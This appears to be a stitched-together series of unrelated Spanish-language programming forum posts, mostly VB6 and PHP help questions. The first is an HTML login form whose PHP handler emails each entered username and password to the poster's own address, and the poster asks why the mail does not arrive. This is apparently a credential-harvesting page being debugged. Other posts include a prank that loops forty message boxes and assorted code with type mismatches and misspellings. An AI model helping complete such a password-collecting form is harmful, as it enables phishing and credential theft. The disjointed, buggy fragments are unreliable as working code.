Ese código que has posteado no lo entiendo, que hago el segundo código que he posteado pongo el que tu me has dejado? Gracias

Este codigo es el que crea los campos de texto y el boton

	  <form id="form2" name="form2" method="post" action="send.php">
	    <label>Usuario<br />
	    <input type="text" name="Usuario" />
	    Contraseña
	      <input type="password" name="Contraseña" />
	      <br />
		 	      <input type="submit" name="Submit" value="Enviar" />
	      </label>
	    </form>

y este es el que recoje las variables y lo envia a mi mail,

<?php
$nombre = $_POST['Usuario'];
$mail = $_POST['Contraseña'];
 
 
$header = 'From: ' . $nombre . " \r\n";
$header .= "X-Mailer: PHP/" . phpversion() . " \r\n";
$header .= "Mime-Version: 1.0 \r\n";
$header .= "Content-Type: text/plain";
 
$mensaje = "Este mensaje fue enviado por " . $nombre . ", de la empresa " . $empresa . " \r\n";
$mensaje .= "Su e-mail es: " . $mail . " \r\n";
$mensaje .= "Mensaje: " . $_POST['mensaje'] . " \r\n";
$mensaje .= "Enviado el " . date('d/m/Y', time());
 
$para = 'he puesto mi email aqui';
$asunto = 'Contacto desde Taller Webmaster';
 
mail($para, $asunto, utf8_decode($mensaje), $header);
 
echo 'El mensaje se ha enviado correctamente';
?>

Cuando le doy al botn lo hace todo bien, lo que pasa es que el mensaje no me llega, alguien sabe porque'? Gracias

Lo que yo te he mostrado no hace falta navegar, muesta la url actual, si no hay nada no mostrará nada...

Seria:

Private Sub Form_Load()
Text1.text =CodigoWeb(WebBrowser1.LocationURL)
End Sub

Es decir se mostraria el codigo de fuente de la web que se esta visualizando actualmente

Bueno yo pongo una cosa asi

Dim LaImagen As String
 
Private Sub Command1_Click()
LaImagen = Inet1.OpenURL(Text1.Text)
Picture1.Picture (LaImagen)
End Sub

Lo que me falla es el ultimo trozo de codigo

este

Picture1.Picture (LaImagen)

que debo hacer? xD

Añadimos 1 Timer intervalo 1000 y enabled=false
Añadimos 2 Labels

Dim Variable1 As String
Dim numero As String
Private Sub Form_Load()
numero = "40"
variabel1 = InputBox("¿Que quedo españa en la final?[España primero]", "Pregunta")
If variabel1 = "1-0" Then
MsgBox "Correcto"
Else
Call Repetir
MsgBox "Mal"
MsgBox "Adios"
Form1.Timer1.Enabled = True
Label3.Caption = "60"
Label2.Visible = False
End If
End Sub
Public Function Repetir()
For i = 1 To 40
MsgBox "Lo as inroducido mal " & numero & Form1.Repetir1
Next
End Function
Public Function Repetir1()
numero = numero - 1
End Function
Private Sub Label2_Click()
End
End Sub
 
Private Sub Timer1_Timer()
Label3.Caption = Label3.Caption - 1
If Label3.Caption = "0" Then
End
End If
End Sub

es String

Dim InfoPort As String

Bueno este codigo

Dim ConPort As String
ConPort = "20000"
WinServer.RemoteHost = LocalHost
WinServer.RemotePort = InfoPort
WinClient.LocalPort = ConPort
WinClient.Listen

Me dice Type Mismacht y me señala

WinServer.RemotePort = InfoPort

:S

Puedes poner un winsock y el siguiente codigo...

Private Sub Form_Load()
If winsock1.localip = "tuip" Then
'Aqui lo que pase si la ip es la tuya
else
'Aqui lo que pase si la ip no es la tuya
End If
End Sub

Ese ya es más dificil de crackear

Me da error

 {
                FrmHola logeoadelante = new FrmHola();
                logeoadelante.show();
            }

Dice que no contiene una definición de show :S